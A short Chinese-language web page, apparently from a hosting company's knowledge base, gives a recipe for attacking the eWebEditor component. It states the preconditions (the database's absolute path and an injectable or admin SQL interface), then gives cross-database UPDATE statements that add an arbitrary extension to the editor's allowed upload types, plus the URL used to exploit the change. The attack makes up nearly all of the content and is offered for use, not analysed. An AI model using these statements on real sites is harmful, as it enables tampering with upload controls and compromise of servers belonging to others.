SQL注入eWebEditor數據庫
更新時間：2012-03-28 | 發布人：本站 | 點擊率：396 次
條件：1、知道ewebeditor數據庫的絕對地址
2、存在注入，或者后臺可執行sql語句。
跨庫注入：
update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’ where s_id=40
或者
update eWebEditor_Style in ‘E:\webhost\xxxxxxxx\www\admin\Editor\db\ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’
利用：
/ewebeditor.asp?id=content1&style=standard
渝公網安備 50024202000196號
域名注冊知識
虛擬主機知識
網站建設知識
網絡推廣知識
網絡營銷知識
常見技術問題
QQ空間
新浪微博
開心網
人人網